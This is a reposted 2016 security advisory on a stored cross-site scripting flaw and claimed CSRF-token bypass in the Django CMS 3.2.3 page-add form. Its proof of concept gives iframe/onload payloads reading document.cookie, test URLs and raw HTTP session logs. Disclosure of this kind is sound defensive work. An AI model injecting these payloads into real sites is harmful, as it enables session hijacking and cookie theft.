2016 m. balandžio 28 d., ketvirtadienis

Django CMS v3.2.3 - Filter Bypass & Persistent Vulnerability

Document Title:
===============
Django CMS v3.2.3 -  Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1820


Release Date:
=============
2016-04-19


Vulnerability Laboratory ID (VL-ID):
====================================
1820


Common Vulnerability Scoring System:
==============================
======
3.6


Product & Service Introduction:
===============================
django CMS is a modern web publishing platform built with Django, the web application framework for perfectionists with deadlines.
django CMS offers out-of-the-box support for the common features you’d expect from a CMS, but can also be easily customised and
extended by developers to create a site that is tailored to their precise needs.

(Copy of the Homepage: http://docs.django-cms.org/en/3.2.3/index.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability in the Django v3.2.3 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2016-04-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Divio AG
Product: Django Framework - Content Management System 3.2.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Django v3.2.3 Content Management System.
The security vulnerability allows remote attackers or privileged user accounts to inject own malicious script codes to the
application-side of the vulnerable modules web context.

The vulnerability is located in the `title`, `slug`, `menu_title`, `page_title` and `meta_description` values of the
`./cms/page/add/` module POST method request. Attackers are able to perform a malicious POST method request to trigger
a cross site scripting attack in the django admin interface index. The injection point would be the add page or subpage
module with the vulnerable input fields and the exection point occurs in the django admin interface menu were the
cms-messages or cms-messages-inner output values are located. After the add of a page or a subpage the following url
will represent the item (/en/iframe-srca20iframe222-iframe-srca20iframe223/). The cms-toolbar-trigger cms-toolbar-
trigger-expanded displays the message after the add procedure is successful done by interaction via POST method request.
The attack vector of the vulnerability is persistent and the request method to inject is POST.

The application has a csrf token that is implemented to the request, by changing the token in the live request to .%0/
the payload executes without session protection mechanism. The token implementation requires a reconfguration as well
to prevent csrf bypass attacks.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] ./cms/page/add/

Vulnerable Parameter(s):
                                [+] title
                                [+] slug
                                [+] menu_title
                                [+] page_title
                                [+] meta_description

Affected Module(s):
                                [+] cms-toolbar-trigger cms-toolbar-trigger-expanded (cms-messages or cms-messages-inner)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers and privileged user accounts with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payload(s)
)')(iframe src=a)%20(iframe) )')(iframe src=a)%20(iframe)
>"><iframe src=a onload=alert(document.cookie) < >"


PoC: URL(s) POST
http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe336/
http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe337/new.js

PoC: URL(s) GET
http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/?edit[PAYLOAD!]
http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/?edit_[PAYLOAD!]


PoC: Source (cms-messages-inner & cms-messages)
<div style="top: -21px; display: block; left: 50%; right: auto; margin-left: -160px;" class="cms-messages">
<div style="display: none;" class="cms-messages-close" title="Close"><span class="cms-icon cms-icon-close"></span></div>
<div class="cms-messages-inner">The page "&gt;"&gt;<[PERSISTENT SCRIPT CODE EXECUTION VULNERABILITY!]) &lt;  &gt;"&gt;&lt;iframe src=a
onload=alert(document.cookie) &lt;&gt;"&gt;&lt;iframe src=a onload=alert(document.cookie) &lt;" was added successfully.</iframe></div>
</div>


--- PoC Session Logs [POST] ---
Status: 302[FOUND]
POST http://django-cms.localhost:8080/en/admin/cms/page/add/?language=en&target=24&position=last-child
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django-cms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django-cms.localhost:8080/en/admin/cms/page/add/?edit=1&position=last-child&target=24&language=en]
      Cookie[csrftoken=SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD; sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; django_language=en]
      Connection[keep-alive]
   POST-Daten: POST_DATA[-----------------------------23211247826994
Content-Disposition: form-data; name="csrfmiddlewaretoken"
SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD
-----------------------------23211247826994
Content-Disposition: form-data; name="language"
en
-----------------------------23211247826994
Content-Disposition: form-data; name="parent"
24
-----------------------------23211247826994
Content-Disposition: form-data; name="site"
1
-----------------------------23211247826994
Content-Disposition: form-data; name="template"
INHERIT
-----------------------------23211247826994
Content-Disposition: form-data; name="language"
en
-----------------------------23211247826994
Content-Disposition: form-data; name="page_type"
-----------------------------23211247826994
Content-Disposition: form-data; name="title"
>"><[PERSISTENT SCRIPT CODE INJECTION!]<
-----------------------------23211247826994
Content-Disposition: form-data; name="slug"
>"><[PERSISTENT SCRIPT CODE INJECTION!]<
-----------------------------23211247826994
Content-Disposition: form-data; name="menu_title"
>"><[PERSISTENT SCRIPT CODE INJECTION!]<
-----------------------------23211247826994
Content-Disposition: form-data; name="page_title"
>"><[PERSISTENT SCRIPT CODE INJECTION!]<
-----------------------------23211247826994
Content-Disposition: form-data; name="meta_description"
>"><[PERSISTENT SCRIPT CODE INJECTION!]<
-----------------------------23211247826994
Content-Disposition: form-data; name="_save"
Save
-----------------------------23211247826994--]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[5]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:00:50 GMT]
      X-Aldryn-App[django-cms-3-2-demo-gijotopo-stage]
      X-Proxy-Request-Routed[8]
      X-Proxy-Request-Forwarded[8]
      X-Proxy-Response-Received[271]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:00:51 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:00:51 GMT]
      Location[http://django-cms.localhost:8080/en/admin/cms/page/]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; expires=Fri, 22-Apr-2016 20:00:51 GMT; Max-Age=1209600; Path=/
messages="621bd4a42c0ddf1ae27531c3c963e864a125ef52$[
["__json_message"540542554"The page ">"><iframe src=a onload=alert(document.cookie) <       >">
<iframe src=a onload=alert(document.cookie) <  >"><iframe src=a onload=alert(document.cookie) <
>"><iframe src=a onload=alert(document.cookie) <" was added successfully."]]"; Path=/]
-
Status: 200[OK]
GET http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/[PERSISTENT SCRIPT CODE EXECUTION!]
Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django-cms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/]
      Cookie[csrftoken=SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD; sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:00:51 GMT]
      X-Aldryn-App[django-cms-3-2-demo-gijotopo-stage]
      X-Proxy-Request-Routed[2]
      X-Proxy-Request-Forwarded[2]
      X-Proxy-Response-Received[25]
      Content-Type[text/html; charset=utf-8]
      Location[http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/a/]
      Content-Language[en]
-
Status: 200[OK]
GET http://django-cms.localhost:8080/en/admin/cms/page/resolve/?model=cms.page&pk=24
Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[-1] Mime Type[text/plain]
   Request Header:
      Host[django-cms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      X-Requested-With[XMLHttpRequest]
      Referer[http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/]
      Cookie[csrftoken=SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD; sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:00:51 GMT]
      X-Aldryn-App[django-cms-3-2-demo-gijotopo-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[42]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:00:51 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:00:51 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/plain]
      Set-Cookie[sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; expires=Fri, 22-Apr-2016 20:00:51 GMT; Max-Age=1209600; Path=/]
-
Status: 200[OK]
GET http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/[PERSISTENT SCRIPT CODE EXECUTION!]/
Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django-cms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django-cms.localhost:8080/en/iframe-srca20iframe222-iframe-srca20iframe223/]
      Cookie[csrftoken=SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD; sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:00:51 GMT]
      X-Aldryn-App[django-cms-3-2-demo-gijotopo-stage]
      X-Proxy-Request-Routed[2]
      X-Proxy-Request-Forwarded[2]
      X-Proxy-Response-Received[43]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:00:51 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:00:51 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html]


Reference(s):
http://django-cms.localhost:8080/
http://django-cms.localhost:8080/en/
http://django-cms.localhost:8080/en/admin/cms/page/add/
http://django-cms.localhost:8080/en/admin/cms/page/resolve/


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by a secure parse and encode of the vulnerable marked values in the add POST method request.
Encode and filter as well the cms-messages-inner and cms-messages output values in information module. Disallow usage of special
chars and escapte the entries to prevent further application-side script code injection attacks.


Security Risk:
==============
The security risk of the application-side input validation vulnerability and filter bypass issue is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                              - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com         - research@vulnerability-lab.com                                - admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com      - vulnerability-lab.com/contact.php                             - evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab                                 - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php                    - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php         - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ orresearch@vulnerability-lab.com) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™

Komentarų nėra:

Rašyti komentarą